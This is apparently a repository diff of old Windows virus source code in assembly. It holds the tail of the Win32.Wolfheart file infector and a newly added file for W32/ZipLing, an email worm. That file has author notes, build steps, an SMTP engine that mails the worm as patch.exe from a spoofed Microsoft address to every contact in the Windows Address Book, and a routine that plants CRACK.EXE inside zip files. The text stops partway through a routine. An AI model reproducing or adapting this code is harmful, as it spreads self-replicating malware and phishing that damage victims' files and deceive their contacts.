mov esi, dword ptr [ebp+Export_Section] ;get offset to export section
mov ecx, dword ptr [esi+24] ;get rva to ordinals array
add ecx, eax ;convert it to va
shl edx, 1 ;GetProcAddress position*2
mov edi, edx ;edi=GPA position*2
add edi, ecx ;edi=pointer to GPA oridinal
xor ebx, ebx ;zero ebx
mov bx, word ptr [edi] ;read GPA oridinal number
shl ebx, 02 ;ebx=(GPA oridinal number)*4
mov esi, dword ptr [esi+1Ch] ;get rva to functions addresses array
add esi, eax ;convert it to va
add esi, ebx ;add it the GPA position in this array
mov esi, dword ptr [esi] ;read rva to GPA function
add eax, esi ;get its va by adding the rva to the k32 base address
mov ebx, dword ptr [ebp+0040166Bh] ;ebx=k32 base address
jmp GetApis
nop
nop
nop
NotGPA: add ebx, 00000004 ;move to next api name rva
inc edx ;GPA position++
loop FindNApi
pop edi ;restore stack
jb ReturnToHost ;return to host
GetApis:mov esi, ebp
add esi,offset ApiAddresses_Table ;api addresses array
mov edi, ebp
add edi,offset ApiNamesTable ;api names array
NextApi:mov ecx, dword ptr [edi] ;read 4 bytes from the api name
or ecx, ecx ;if empty==there are no more apis
je NoMoreApis
nop
nop
nop
nop
push eax ;save k32 base in the stack
push edi ;api name
push ebx ;k32 base address
call eax ;call GetProcAddress
mov dword ptr [esi], eax ;save function address
pop eax ;restore k32 base address
add edi, 00000013 ;move to next api name
nop
nop
nop
add esi, 00000004 ;move to next api in the addresses table
jmp NextApi ;get more apis !
NoMoreApis:
int 3
mov edx,offset WIN32_FIND_DATA
add edx, ebp
push edx
sub edx,SM_Offset ;offset to search_mask
push edx
add edx,F_FirstFile ;FindFirstFile api
call dword ptr [edx] ;check if return value is 0
or eax, eax ;<-- wrong if FindFirstFile fail it return INVALID_HANDLE_VALUE which is -1
je ReturnToHost ;return to host if eax==0
mov dword ptr [ebp+find_handle], eax
NextFile:
mov eax, dword ptr [ebp+0040168Fh]
mov dword ptr [ebp+0040165Bh], eax
mov eax, dword ptr [ebp+00401693]
mov dword ptr [ebp+0040165Fh], eax
push 00000000
push 00000000
push 00000003
push 00000000
push 00000000
push 0C0000000h
mov edx, ebp
add edx,offset WFD_szFileName
push edx
mov eax, dword ptr [ebp+CreateFileA_]
call eax
jb MoveToNextFile ;if error move to next file
nop
nop
nop
nop
cmp eax, 0FFFFFFFFh ;canot open file ?
je MoveToNextFile ;move to next file
nop
nop
nop
nop
mov dword ptr [ebp+hfile], eax ;save file handle
call WolfHeart_InfectFile
mov eax, ebp
add eax,offset LastWriteTime
push eax
sub eax, 00000008 ;offset to LastAccessTime
push eax
sub eax, 00000008 ;offset to CreationTime
push eax
mov eax, dword ptr [ebp+hfile]
push eax
mov eax, dword ptr [ebp+SetFileTime_]
call eax ;call SetFileTime
mov eax, dword ptr [ebp+hfile]
push eax
mov eax, dword ptr [ebp+CloseHandle_]
call eax
MoveToNextFile:
mov edx, ebp
add edx,offset WIN32_FIND_DATA
push edx
mov eax, dword ptr [ebp+find_handle]
push eax
sub edx, FindNXTFile
call dword ptr [edx] ;call findnextfile api
or eax, eax ;error ?
jne NextFile ;if not,there are more files..
ReturnToHost:
pop edx
pop eax
mov dword ptr [ebp+HostImageBase], eax
add edx, eax
mov dword ptr [ebp+HostEntryPoint], edx
popfd
popad
mov edx, offset FakeHost
HostEntryPoint equ ($-4)
push edx
ret
;input:
;eax - file handle
WolfHeart_InfectFile:
mov edx, eax
mov eax, dword ptr [ebp+0040165Bh]
or eax, eax
jne ExitInfect
push 00000000
mov eax, dword ptr [ebp+0040165Fh]
add eax, 00001C75h
push eax
push 00000000
push 00000004
push 00000000
push edx
mov eax, dword ptr [ebp+CreateFileMappingA_]
call eax ;create file mapping object
or eax, eax ;error ?
je ExitInfect
mov edx, dword ptr [ebp+0040165Fh]
add edx, 00001C75h
push edx
push 00000000
push 00000000
push 00000002
push eax
mov eax, dword ptr [ebp+MapViewOfFile_]
call eax ;map file into memory
or eax, eax
je ExitInfect
mov dword ptr [ebp+mapbase], eax ;save map base !
mov ebx, eax ;ebx <- map base
mov esi, eax ;esi <- map base
mov esi, dword ptr [esi+3Ch] ;read rva to pe header
add esi, ebx ;convert it to va,ESI==PE header !
mov eax, dword ptr [esi] ;read 4 bytes into eax
cmp eax, 00004550 ;compare with PE\0\0
jne ExitInfect_UnmapFile ;not equal get out
mov dword ptr [ebp+DistanceToMove], 00000000
mov ax, word ptr [esi+1Ah] ;get Major & Minor Linker Version(WolfHeart use them as infection sign)
cmp ax, 4206 ;already infected ?
je ExitInfect_UnmapFile ;exit
mov eax, dword ptr [edi+28] ;get ???(edi didnt setted)
mov dword ptr [ebp+HostEntryPoint], eax ;save as entry point
mov eax, dword ptr [edi+24] ;get ???(edi didnt setted)
mov dword ptr [ebp+HostImageBase], eax ;save as image base
mov edi, esi ;edi = pe header
xor eax, eax ;set eax to zero
mov eax, dword ptr [esi+74] ;get Number Of Rva And Sizes
shl eax, 03 ;eax=(Number Of Rva And Sizes)*8
add eax, 00000078
add edi, eax ;edi - first section header
mov ax, word ptr [esi+06] ;ax==number of sections
mov cx, 0028 ;cx==28h(size of section)
mul cx ;eax - size of all sections headers
add edi, eax ;edi - end of sections headers
mov eax, dword ptr [edi-20] ;get virtual size into eax
cdq ;zero edx
add eax, dword ptr [edi-1Ch] ;add virtual address
mov ecx, dword ptr [esi+38] ;get section alignment
div ecx
or edx, edx
je Set_VirtualAddress
nop
nop
nop
nop
inc eax
Set_VirtualAddress:
mul ecx
mov dword ptr [ebp+SH_VirtualAddress], eax ;set SH_VirtualAddress in section header
mov ecx, dword ptr [esi+3Ch] ;get file alignment
mov eax, 00000617 ;eax - virus size
cdq ;zero edx
div ecx
or edx, edx
je Set_SizeOfRawData
nop
nop
nop
nop
inc eax
Set_SizeOfRawData:
mul ecx
mov dword ptr [ebp+SH_SizeOfRawData], eax ;set SH_SizeOfRawData in section header
mov eax, 00000875
cdq ;zero edx
div ecx
or edx, edx
je Set_VirtualSize
nop
nop
nop
nop
inc eax
Set_VirtualSize:
mul ecx
mov dword ptr [ebp+SH_VirtualSize], eax ;set SH_VirtualSize
mov eax, dword ptr [edi-14] ;get pointer to raw data
add eax, dword ptr [edi-18] ;add to it size of raw data
mov ecx, dword ptr [esi+3Ch] ;get file alignment
div ecx ;eax/ecx=where to store virus
or edx, edx
je Set_PointerToRawData
nop
nop
nop
nop
inc eax
Set_PointerToRawData:
mul ecx
mov dword ptr [ebp+SH_PointerToRawData], eax;set SH_PointerToRawData
push esi ;save pe header in the stack
mov esi, ebp
add esi,offset SH_Name ;esi - start of section
mov ecx, 0000000Ah
repz movsd ;append new section
pop esi ;restore pe header into esi
inc word ptr [esi+06] ;update number of sections
mov ax, 4206 ;ax=infection sign
mov word ptr [esi+1Ah], ax ;mark file as infected
mov eax, dword ptr [esi+34] ;get host image base
mov dword ptr [ebp+HostImageBase], eax ;save it
mov eax, dword ptr [esi+28] ;get host entry point
mov dword ptr [ebp+HostEntryPoint], eax ;save it
mov eax, dword ptr [ebp+SH_VirtualAddress] ;get virus section virtual size
mov dword ptr [esi+28], eax ;set new entry point to the virus section start
mov edi, dword ptr [ebp+SH_PointerToRawData];get pointer to raw data of the virus
add edi, ebx ;add map base to it
push edi ;save virus section raw data offset in the stack
mov esi, ebp
add esi,offset VirusStart ;esi - virus start
mov ecx, 00000186 ;ecx - virus size in dwords
nop
cld ;clear direction flag
repz movsd ;copy virus into the host
pop edi ;restore virus offset in file
mov esi, edi
add edi, DecryptorSize
mov ecx, SizeOfEncryptedVirus
nop
mov eax, dword ptr [ebp+00401677]
mov dword ptr [esi+VirusKey], eax
@Encrypt:
xor dword ptr [edi], eax
inc edi
inc edi
inc edi
inc edi
loop @Encrypt
mov dword ptr [ebp+DistanceToMove], 00000617
ExitInfect_UnmapFile:
mov eax, dword ptr [ebp+mapbase]
push eax
mov eax, dword ptr [ebp+UnmapViewOfFile_]
call eax
push 00000000 ;FILE_BEGIN
push 00000000 ;lpDistanceToMoveHigh
mov eax, dword ptr [ebp+00401693]
add eax, dword ptr [ebp+DistanceToMove]
push eax ;lDistanceToMove
push dword ptr [ebp+hfile] ;hFile
mov eax, dword ptr [ebp+SetFilePointer_] ;call SetFilePointer
call eax
push dword ptr [ebp+hfile]
mov eax, dword ptr [ebp+SetEndOfFile_]
call eax
ExitInfect:
ret
;Get the GetModuleHandle from import section of the host
;input:
;esi - image base
;ebx - image base
;ecx - size of api name string
;edx - pointer to name
WolfHeart_GetGMHApi:
cmp word ptr [esi], 5A4Dh ;check mz sign
jne FindApiInImportErr ;if error exit
mov esi,dword ptr [esi+3Ch] ;goto pe header
add esi,ebx ;add image base
cmp dword ptr [esi], 00004550 ;check for pe\0\0
jne FindApiInImportErr ;if error exit
mov ecx,dword ptr [esi+00000084h] ;get size of import section
add ecx,ebx ;add it the image base
mov esi,dword ptr [esi+00000080h] ;get import data rva
add esi,ebx ;convert it to va
mov edi,esi ;edi = import section
NxtDll: mov esi, dword ptr [esi+0Ch] ;get rva to dll name
or esi, esi ;no more dlls ?
je FindApiInImportErr ;exit than
nop
nop
nop
nop
add esi, ebx ;convert dll name rva to va
mov eax, dword ptr [esi] ;get first 4 bytes of dll name into
and eax, 0DFDFDFDFh ;convert bytes to upper case
cmp eax, 4E52454Bh ;compare them with "NREK"(kernel32.dll)
je ScanImportsFromK32 ;scan k32 IMAGE_THUNK_DATA structures
nop
nop
nop
nop
add edi, 00000014h ;move to next IMAGE_IMPORT_DESCRIPTOR structure
mov esi, edi
cmp edi, ecx ;is it end of import section?
jg NxtDll ;if no,scan for more dlls
ScanImportsFromK32:
mov dword ptr [ebp+image_import_desc], edi ;save k32 IMAGE_IMPORT_DESCRIPTOR
mov edx, dword ptr [edi+10h] ;get rva to IMAGE_IMPORT_BYNAME structure(First Thunk)
add edx, ebx ;convert it to va
mov edi, dword ptr [edi] ;get rva to IMAGE_IMPORT_BYNAME structure(Characteristics)
add edi, ebx ;convert it to va
NxtIBN: mov dword ptr [ebp+Import_By_Name], edi ;save import by name offset
mov eax, dword ptr [edi] ;get api name
or eax, eax
je FindApiInImportErr
nop
nop
nop
nop
mov edi, dword ptr [edi]
add edi, ebx
inc edi
inc edi
mov ecx, 00000000
StrLen equ ($-4)
mov esi, 00000000
StrAdd equ ($-4)
repz cmpsb
je FindApiInImport_Success
nop
nop
nop
nop
mov edi, dword ptr [ebp+Import_By_Name] ;get import by name
add edi, 00000004 ;move to next import by name
add edx, 00000004
jmp NxtIBN
FindApiInImport_Success:
mov edi, edx
mov eax, dword ptr [edi]
mov dword ptr [ebp+0040164Fh], eax
clc
ret
FindApiInImportErr:
stc
ret
ret
;wolfheart's data:
k32_dll db "KERNEL32.DLL",0
GMH db "GetModuleHandleA"
GPA db "GetProcAddress"
SM_Offset equ (WIN32_FIND_DATA-$-3)
search_mask db "*.exe",0
;New section to add:
SH_Name DB ".ByteSV",0
SH_VirtualSize DD 0
SH_VirtualAddress DD 0
SH_SizeOfRawData DD 0
SH_PointerToRawData DD 0
SH_PointerToRelocations DD 0
SH_PointerToLinenumbers DD 0
SH_NumberOfRelocations DW 0
SH_NumberOfLinenumbers DW 0
SH_Characteristics DD 600000E0h
;copyright string
db "[Win32.Wolfheart.1481] (c) ByteSV/VHC",0
ApiNamesTable:
;comment:
;wolfheart align api name by 19 bytes..
db "FindFirstFileA"
db 5 dup(0)
db "FindNextFileA"
db 6 dup(0)
db "CloseHandle"
db 8 dup(0)
db "CreateFileA"
db 8 dup(0)
db "WriteFile"
db 0ah dup(0)
db "ReadFile"
db 0bh dup(0)
db "CreateFileMappingA",0
db "MapViewOfFile"
db 6 dup(0)
db "UnmapViewOfFile"
db 4 dup(0)
db "SetFilePointer"
db 5 dup(0)
db "SetEndOfFile"
db 7 dup(0)
db "SetFileTime"
db 0eh dup(0)
F_FirstFile equ ($-offset search_mask)
ApiAddresses_Table: ;(00401617)
FindFirstFileA_ dd 0 ;17
FindNextFileA_ dd 0 ;1b
CloseHandle_ dd 0 ;1f
CreateFileA_ dd 0 ;23
WriteFile_ dd 0 ;27
ReadFile_ dd 0 ;2b
CreateFileMappingA_ dd 0 ;2f
MapViewOfFile_ dd 0 ;33
UnmapViewOfFile_ dd 0 ;37
SetFilePointer_ dd 0 ;3b
SetEndOfFile_ dd 0 ;3f
SetFileTime_ dd 0 ;43
Import_By_Name dd 0
image_import_desc dd 0
;:0040-1647 00000000000000 BYTE 10 DUP(0)
;:0040164E 0000000000
find_handle dd 0
; 00 BYTE 10 DUP(0)
hfile dd 0
;:0040165b 00000000000000 BYTE 7 DUP(0)
;:00401662 00
mapbase dd 0
Export_Section dd 0
;;00401-667
;:0040166C 000000
DistanceToMove dd 0
FindNXTFile equ ($-FindNextFileA_)
Search_Mask equ (WIN32_FIND_DATA-search_mask)
FILETIME STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS
WIN32_FIND_DATA:
WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
WFD_szFileName DB 0ffh DUP (?)
WFD_szAlternateFileName DB 13 DUP (?)
DB 3 DUP (?) ; dword padding
MAX_PATH equ 0ffh
CreationTime FILETIME ?
LastAccessTime FILETIME ?
LastWriteTime FILETIME ?
SizeOfEncryptedVirus equ ($-EncryptedVirusStart)
; 00000000 BYTE 10 DUP(0)
;:0040168A 00000000000000000000 BYTE 10 DUP(0)
VirusEnd equ ($-VirusStart)
FakeHost:
push eax
call ExitProcess
end VirusStart

970
Win32/Win32.Zipling.asm Normal file

@ -0,0 +1,970 @@
;
; W32/ZipLing -
;
; First of all this is the source code to an I-Worm. I do not guarantee it works, although
; I have tested it on my system and it had seemed to work. I lost interest in it after a while
; so I completely forgot about it until one day, when i decided to finish my I-Worm ;). It should
; work however, because as far as my short-term memory goes back it seemed to work OK where it
; was at a couple of weeks ago. Basically now I just added in the threads and took out the breakpoints,
; so I think it should travel nicely (if it was spreaded). Anyway, please contact me if you find
; a problem or if you'd like to comment on it. I am not responsible for what happens to you or
; other people if you use it. You've been warned =)
;
;
; This is my I-Worm. I been workin on it for about 4 weeks (i took a bit of a break for 1
; week:). It doesn't travel by MAPI but it does somewhat rely on Outlook. It needs Windows
; Address Book, but this shouldn't be a problem because most people have outlook. It uses its
; own SMTP engine. It Mime encodes the worm EXE and sends it out to all addresses in the default
; WAB file. As you can see, this can spread very well if it gets sent to the right place. This
; worm uses many anti-debug and anti-emu tricks, to make detection of it harder. It creates 2 threads:
; 1 checks 1 drive for zip files, dropping a crack.exe over all of them.
; User may think it is a bit suspicious but I'm sure he doesnt look at all of his zip files. Other thread
; finds email addresses and sends each a copy of the worm+msg from microsoft :). Worm is named patch.exe
; and claims to fix a serious bug inside windows core (kernel32) files. It doesn't though; it just gives
; a message saying corrupt CRC or something the like. The file that it drops inside zip files says same
; thing, and since they are crack.exe and patch.exe it should fit both.
;
;
; This source is does not have many comments. If you want to learn how to create a worm,
; I recommend you try the MAPI way first. There are a couple of ASM worms that are straight
; forward for you to learn on.
;
;
;
; How to build:
; (masm32)
; ml /c /coff ziplung.asm
; link /SUBSYSTEM:WINDOWS ziplung.obj
; pewrsec ziplung.exe
; ziplung.exe
; ^^^^^^^^^^^-> hehehe
;
; please pay visit to http://bluebola.8k.com !
;
; and.. Enjoy.
.486p
.model flat,stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\zipfile.inc
include \masm32\include\advapi32.inc
include \masm32\include\kernel32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\user32.lib
SearchZIP PROTO :DWORD
thread1 PROTO
thread2 PROTO
.code ; CODE SECTION of worm
start:
jmp @F
filename db 128 dup (?)
szTemp db "tmp9174.tmp",0
mem01 dd 0
hTemp dd 0
tSize dd 0
thid1 dd 0
thid2 dd 0
fr db 260 dup (?)
msg db "Could not patch due to bad CRC!",0
@@:
invoke GetModuleFileName,0,addr filename,128
invoke CopyFile,addr filename,addr szTemp,0
invoke CreateFile,addr szTemp,0c0000000h,01h,00h,03h,00h,00h
mov hTemp,eax
invoke GetFileSize,EAX,0
mov ebx,eax
invoke GlobalAlloc,0,eax
mov mem01,eax
invoke ReadFile,hTemp,mem01,ebx,addr filename,00h
invoke CloseHandle,hTemp
; MEM01 now = ptr to our EXE. We need this for MIME and ZIP appending
mov tSize,EBX
mov zpC_S1,EBX ; adjust the size of our data
mov zpC_S2,EBX
mov zpL_S1,EBX
mov zpL_S2,EBX
invoke MessageBox,0,addr msg,0,0
invoke CreateThread,0,0,addr thread1,addr fr,0,addr thid1
mov ebx,eax
invoke CreateThread,0,0,addr thread2,0,0,addr thid2
mov esi,eax
invoke WaitForSingleObject,ebx,-1
invoke WaitForSingleObject,esi,-1
jmp LeaveNow
Recipient db 256 dup (?)
sizeRecip dd $-Recipient
sendtable:
dd offset SendHelo ; HELO LocalHost
dd offset SendFrom ; MAIL FROM:
dd offset SendRcpt ; RCPT TO:
dd offset SendData1 ; send the DATA part of the message
dd offset SendData2 ; sends the actual DATA
dd offset SendQuit ; send the QUIT part
dd 00000000h ; end marka
buffer db 512 dup (?)
; Used for SELECT calls
Timeout:
dd 5
dd 0
FDSet:
dd 1
MailSocket dd 0
SendWorm: ; This little part of the worm does this here:
; Gets Default Email server
; Connects to it
; Sends the message
pushad
openkey:
xor eax,eax
call @F
phkMailKey dd 0
@@:
push KEY_ALL_ACCESS
push eax
call @F
db "Software\Microsoft\Internet Account Manager"
slashkey db 0
db "Accounts\"
lpDefaultAccount db 8 dup(0)
db 0
@@:
push HKEY_CURRENT_USER
call RegOpenKeyEx
or eax,eax
jnz LeaveNow
cmp byte ptr [slashkey],0
jnz getsmtpmail
xor eax,eax
call @F
dd 00000009h
@@:
push offset lpDefaultAccount
push eax
push eax
call @F
db "Default Mail Account",0
@@:
push dword ptr [phkMailKey]
call RegQueryValueEx
push dword ptr [phkMailKey]
call RegCloseKey
mov byte ptr [slashkey],'\'
jmp openkey
getsmtpmail:
xor eax,eax
call @F
dd 00000200h ; 512 bytes
@@:
push offset buffer
push eax
push eax
call @F
db "SMTP Server",0
@@:
push dword ptr [phkMailKey]
call RegQueryValueEx
push dword ptr [phkMailKey]
call RegCloseKey
lea edi,buffer
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
call @F
pp2 WSADATA <?>
@@:
push 0101h
call WSAStartup
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
push edi
call gethostbyname
mov eax,[eax+12]
mov eax,[eax]
mov eax,[eax] ; we got the DWORD IP
mov dword ptr [dwIPAddress],EAX
push 0
push 1
push 2
call socket
mov MailSocket,EAX
inc eax
jz LeaveNow
push 16 ; size of following structure
call @F
dw AF_INET
hPort db 0, 25
dwIPAddress dd 0
Reserved2 dd 0,0
@@:
push dword ptr [MailSocket]
call connect
inc eax
jz EndWinsock
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
cld
lea ebx,sendtable ; sendtable = table of functions that operate w/ smtp server
WaitForResponse: ; check if its ok to read
xor eax,eax
push offset Timeout
push eax
push eax
push offset FDSet
push eax
call select
dec eax
jnz EndWinsock
call @worm_recv ; receive the data into ptr supplied by ESI
or eax,eax
jz EndWinsock
lodsb
dec esi ; we dont want to modify ESI
okiebyte equ $+1 ; to change the 032h
cmp al,032h ; 032h = "2" = OK :)
jnz EndWinsock ; no no its not ok
mov byte ptr [okiebyte],032h ; fixor it when we mess it up
SendOurResponse: ; check if its okay to write
xor eax,eax
push offset Timeout
push eax
push offset FDSet
push eax
push eax
call select
dec eax
jnz EndWinsock
call dword ptr [ebx]
or eax,eax
jz EndWinsock ; zero = error
cmp dword ptr [ebx+4],0
jz EndWinsock ; end of table
add ebx,4
jmp WaitForResponse
SendHelo: ; sends a HELO command
jmp @F
pHelo db "HELO LocalHost",0Dh,0Ah
sHelo equ $-pHelo
@@:
lea esi,pHelo
mov ecx,sHelo
call @worm_send ; send the data
ret
SendQuit: ; sends a QUIT command
jmp @F
pQuit db "QUIT",0Dh,0Ah
sQuit equ $-pQuit
@@:
lea esi,pQuit
mov ecx,sQuit
call @worm_send ; send the data
ret
SendFrom:
jmp @F
pFrom db "MAIL FROM:<critical@microsoft.com>",0Dh,0Ah
sFrom equ $-pFrom
@@:
lea esi,pFrom
mov ecx,sFrom
call @worm_send
ret
SendRcpt:
jmp @F
pRcpt db "RCPT TO:<"
sRcpt equ $-pRcpt
pRcpt2 db ">",0Dh,0Ah
sRcpt2 equ $-pRcpt2
@@:
lea esi,pRcpt
mov ecx,sRcpt
call @worm_send
lea esi,Recipient ; who to email it to
mov ecx,sizeRecip ; Size of the string
call @worm_send
lea esi,pRcpt2
mov ecx,sRcpt2
call @worm_send ; send the 0A0Dh so server accepts it
ret
SendData1:
jmp @F
pData db "DATA",0Dh,0Ah
sData equ $-pData
@@:
lea esi,pData
mov ecx,sData
call @worm_send
mov byte ptr [okiebyte],033h
ret
SendData2:
jmp @F
pData2 db "From: Microsoft Critical Response Team <critical@microsoft.com>",0Dh,0Ah
db "Subject: Urgent message for all Windows users",0Dh,0Ah
db "MIME-Version: 1.0",0Dh,0Ah
db 'Content-Type: multipart/mixed; boundary="bound"',0Dh,0Ah
db 0Dh,0Ah
db '--bound',0Dh,0Ah
db 'Content-Type: text/plain; charset=ISO-8859-1',0Dh,0Ah
db 'Content-Transfer-Encoding: 7bit',0Dh,0Ah
db 0Dh,0Ah
db "Dear Windows User,",0Dh,0Ah
db 0Dh,0AH
db " The Microsoft Security Experts have discovered a bug inside the Windows'",0Dh,0Ah
db " files that poses a security threat to all versions of Windows newer than ",0Dh,0Ah
db " Windows98 (including Windows98). Virus experts have reported that few known",0Dh,0Ah
db " viruses have been identified using this exploit, but more are expected. A ",0Dh,0Ah
db " patch has been supplied with this email and will fix the security hole. ",0Dh,0Ah
db 0Dh,0Ah
db " **THIS MESSAGE WAS DELIVERED VIA MICROSOFT ALERT AUTO-MESSENGER** ",0Dh,0Ah
db '--bound',0Dh,0Ah
db 'Content-Type: application/octet-stream; name=patch.exe',0Dh,0Ah
db 'Content-Transfer-Encoding: base64',0Dh,0Ah
db 0Dh,0Ah
sData2 equ $-pData2
pDot db 0Dh,0Ah,'--bound--',0Dh,0Ah
db 0Dh,0Ah
db "."
db 0Dh,0Ah
sDot equ $-pDot
mem02 dd 0
@@:
lea esi,pData2
mov ecx,sData2
call @worm_send
; Send the actual file in mime format
invoke GlobalAlloc,0,7168*3 ; for mime encoded
mov mem02,eax
mov eax,tSize ; Data size MUST BE DIVISIBLE BY 3!
mov ecx,3
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
mov ecx,eax
mov edx,mem02
mov eax,mem01
call encodebase64
mov esi,mem02
call @worm_send
lea esi,pDot
mov ecx,sDot
call @worm_send
invoke GlobalFree,mem02
ret
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
EndWinsock:
push dword ptr [MailSocket]
call closesocket
popad
ret
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
LeaveNow:
invoke ExitProcess,0
@worm_recv:
lea esi,buffer
push 0
push 512
push esi
push dword ptr [MailSocket]
call recv
ret
@worm_send:
; ESI = ptr to what to send
; ECX = size of data to send
push 0
push ecx
push esi
push dword ptr [MailSocket]
call send
ret
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
; ZIP Appending procedures (c) blueEbola 2001-2002
; Feel free to distibute this procedure or use it in your own code.
;
zipappend:
jmp @F
zpLocalFile dd 04034B50h ; PK signature
dw 0014h
dw 8000h
dw 0000h
dw 8C78h
dw 8578h
zpL_crc dd 00000000h
zpL_S1 dd sizeLoc-data_s
zpL_S2 dd sizeLoc-data_s
dw 0009h ; filename = 8 chars long
dw 0000h
db "CRACK.EXE" ; Most users run cracks hehe (we give a fake message :)
data_s:
sizeLoc equ $
fName dd 0 ; pointer to name to infect
hFile dd 0
fSize dd 0
hAlloc dd 0
dwTempRW dd 0
zpCentralDir dd 02014b50h
db 14h
db 00h
db 14h
db 00h
dw 8000h
dw 0000h
dw 8c78h
dw 8578h
zpC_crc dd 00000000h
zpC_S1 dd sizeLoc-data_s
zpC_S2 dd sizeLoc-data_s
dw 0009h
dw 0,0,0,0
dd 00000020h
rvaloc dd 00000000h
db "CRACK.EXE"
sizeCen equ $
@@:
mov fName,ESI
mov ecx,zpL_S1
mov esi,mem01
call CRC32
mov zpC_crc,EAX
mov zpL_crc,EAX
invoke CreateFile,fName,0c0000000h,01h,00h,03h,00h,00h
mov hFile,EAX
inc eax
jz errorzip
dec eax
invoke GetFileSize,hFile,0
mov fSize,EAX
invoke GlobalAlloc,0,fSize
mov hAlloc,EAX
invoke ReadFile,hFile,eax,fSize,addr dwTempRW,0
invoke CloseHandle,hFile
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
; Appends to data to zip files. (c) blueEbola (me'za love copyrights:)
; Most of this was taken from my zippy_ok.asm file and my article, greetz to me :)
mov edi,hAlloc
add edi,fSize
sub edi,4
LocateEndOfCentral:
cmp dword ptr [edi],06054B50h ; PK signature for endofcentral
jz FoundEndOfCentral
dec edi
jmp LocateEndOfCentral
FoundEndOfCentral:
; OK, we have to check if it is infected
jmp checkzip
Infect:
ASSUME EDI:PTR ZIPEndOfCentralDir
mov esi,[edi].ZECD_RVACentralDir
invoke CreateFile,fName,0C0000000h,01h,00h,02h,00h,00h
mov hFile,EAX
mov ebx,hAlloc
invoke WriteFile,hFile,ebx,esi,addr dwTempRW,0
add ebx,esi
invoke WriteFile,hFile,addr zpLocalFile,sizeLoc-zpLocalFile,addr dwTempRW,0
invoke WriteFile,hFile,mem01,tSize,addr dwTempRW,0
mov ecx,[edi].ZECD_SizeOfCentralDir
invoke WriteFile,hFile,ebx,ecx,addr dwTempRW,0
mov rvaloc,esi
invoke WriteFile,hFile,addr zpCentralDir,sizeCen-zpCentralDir,addr dwTempRW,0
mov ebx,rvaloc
add ebx,sizeLoc-zpLocalFile ; size of file
add ebx,zpL_S1
mov ecx,[edi].ZECD_SizeOfCentralDir
add ecx,sizeCen-zpCentralDir
mov [edi].ZECD_SizeOfCentralDir,ECX
inc [edi].ZECD_TotalNumberOfEntries
inc [edi].ZECD_NumberOfEntries
mov [edi].ZECD_RVACentralDir,EBX
mov ebx,hAlloc
add ebx,fSize
sub ebx,edi
invoke WriteFile,hFile,edi,ebx,addr dwTempRW,0
invoke CloseHandle,hFile
errorzip:
invoke GlobalFree,hAlloc ; free the mem
ret
checkzip:
pushad
search: cmp dword ptr [edi],02014B50h
jz foundlast
dec edi
jmp search
foundlast: lea edi,[edi+2Eh] ; Filename
cmp dword ptr [edi],'CARC' ; CRAC*.***
popad
jz errorzip ; abort
jmp Infect
CRC32 proc ; ecx = size string esi = string
push esi ; I found this proc inside T2000's article on encrypting ZIP files
push edx ; thanx T2000 you're a life saver (i been looking everywhere for good CRC32
; function because WinZip didn't like my old one!) :) greetz to you!
stc
sbb edx,edx
clc
cld
LoadChar:
lodsb
xor dl,al
mov al,08h ; 8 bits
BitCRC:
shr edx,1 ; get bit into carry flag
jnc NoCRC ; not set, no CRC
xor edx,0EDB88320h ; crc found
NoCRC: dec al ; next bit
jnz BitCRC
loop LoadChar
xchg edx,eax
not eax
pop edx
pop esi
ret
CRC32 endp
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
; ZIP search procedure
;
; Recursive ZIP file find function
; Infects every 3rd zip file found on the system
; BTW, In MASM32 v7.0, the FindFile example was created by me :)
;
; Requirements: s_path buffer must not contain '\' at the end of it (ie. 'C:\Windows')
;
SearchZIP PROC s_path:DWORD ; ptr at s_path must be 260 bytes long (will crash otherwise!:)
LOCAL wTemp[260]:BYTE ; temporary
LOCAL wfd:WIN32_FIND_DATA
LOCAL hFind:DWORD
invoke Sleep,300d ; wait a 0.3 seconds
jmp zerodir ; zero out the string above
__ret001:
lea edi,wTemp
push edi
mov esi,s_path
mov ecx,260
rep movsb
pop edi
xor al,al
scasb
